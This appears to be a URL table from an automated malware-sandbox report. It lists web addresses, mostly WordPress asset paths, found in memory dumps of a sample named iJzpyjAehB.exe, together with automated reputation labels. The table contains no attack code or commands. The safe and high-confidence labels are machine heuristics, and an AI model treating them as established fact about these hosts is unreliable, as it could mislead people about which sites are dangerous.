http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347142690.00000000075CA000.00000004.00000020.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.603177646.00000000075B7000.00000004.00000020.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000016.00000003.496913823.000000000332A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pwd.org/_	iJzpyjAehB.exe, 00000000.00000003.347514573.0000000007564000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/fonts/roboto-v30-latin-regular.eot?#iefix	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/services-capabilities/stencil/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/2019/01/BOX_Home-ACTIVATION_2019.jpg	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/why-use-myro/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/themes/betheme/js/plugins/chart.min.js?ver=26.6	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ora-ito.com/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296941579.0000000009100000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297881797.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	iJzpyjAehB.exe, 00000000.00000003.278941119.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275586647.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.421181826.0000000002540000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.278509190.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274065414.0000000003600000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.275803176.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.272483964.0000000008700000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.274386745.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.277227725.0000000003570000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.423509233.0000000000A60000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.indonesiamedia.com/wp-content/themes/mag-theme/style.css?ver=4.9.22	svchost.exe, 00000016.00000003.496913823.000000000332A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg4.png	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438940303.0000000003090000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
